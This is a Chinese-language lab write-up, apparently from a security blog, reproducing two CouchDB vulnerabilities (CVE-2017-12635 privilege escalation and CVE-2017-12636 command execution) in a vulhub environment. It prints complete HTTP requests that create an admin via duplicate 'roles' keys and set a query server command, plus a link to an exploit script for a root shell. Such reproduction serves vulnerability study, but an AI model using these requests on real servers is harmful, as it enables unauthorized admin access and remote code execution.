CouchDB是一个开源的面向文档的数据库管理系统,可以通过RESTful JavaScript Object Notation(JSON)API访问。Apache CouchDB是专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
漏洞影响版本:小于 1.7.0 以及 小于 2.1.1
一、漏洞原理
CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
举例:Erlang:> jiffy:decode(“{“a”:”1″, “a”:”2″}”).{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}
JavaScript> JSON.parse(“{“a”:”1″, “a”: “2”}”){a: “2”}
Ps:在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。
CVE-2017-12636:由于数据库自身设计原因,管理员身份可以通过HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。
CVE-2017-12635结合CVE-2017-12636可实现远程代码执行
二、准备环境
攻击机(kali):192.168.29.130
被攻击机(Ubuntu):192.168.29.141(使用vulhub搭建镜像环境)
备用机:真实机(含python3环境)
测试环境地址:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/
三、环境搭建
1.下载vulhub的漏洞环境,进入对应的目录下面,使用命令sudo docker-compose buildsudo docker-compose up -d搭建镜像环境2. 查看Ubuntu服务器(被攻击机)的IP地址(192.168.29.141)3. 访问搭建完成以后的couchdb(该环境为2.1.0版本)http://192.168.29.141:5984/_utils/#login
四、漏洞复现
1.抓取数据包发送到重放模块,利用CVE-2017-12635漏洞创建一个管理员用户,用户名为xx,密码为:xx。Ps: 发送包含两个roles的数据包,即可绕过限制。Erlang和JavaScript,对JSON解析方式的不同,所以这样可以使当前用户赋予“_admin”身份
PUT /_users/org.couchdb.user:xx HTTP/1.1
Host: 192.168.29.141:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMT
Cache-Control: max-age=0
Content-Length: 100
{
"type": "user",
"name": "xx",
"roles": ["_admin"],
"roles": [],
"password": "xx"
}
2.使用刚刚注册的账户:xx,密码:xx;登陆到后端系统3.利用CVE-2017-12636漏洞必须登录到管理员用户才能进行操作,所以说需要结合CVE-2017-12635漏洞进行利用。其中测试环境带有poc:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py,下载poc修改目标IP以及couchdb版本信息即可实现攻击操作 4.kali攻击机开启监听443端口5.利用第3步下载的poc文件(备用机的python3环境,也可以使用kali的python3环境)6.会在kali攻击机上面建立会话连接,并且是root权限7. Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership即可:(也可在登陆状态下访问该链接)
GET /_membership HTTP/1.1
Host: 192.168.29.141:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: AuthSession=eHg6NUVGMEI4RDE6g1lmNPR5o8RIBREQUmfFXqZClJ4
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMT
Cache-Control: max-age=0
8.可见,我们这里只有一个node,名字是nonode@nohost。然后,我们修改nonode@nohost的配置即可实现对服务器端写入文件:
PUT /_node/nonode@nohost/_config/query_servers/cmd HTTP/1.1
Host: 192.168.29.141:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: AuthSession=eHg6NUVGMTlDRjk6DPmoeDMHF5ZuRX_Py20A1EL4Jvc
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMT
Cache-Control: max-age=0
Content-Length: 16
"whoami >/1.txt"
9.根据第6步的时候建立的监听的信息,此时可查看创建的文件信息原文链接
来源:freebuf.com 2020-08-18 14:58:32 by: 龙渊实验室LongYuanLab
请登录后发表评论
注册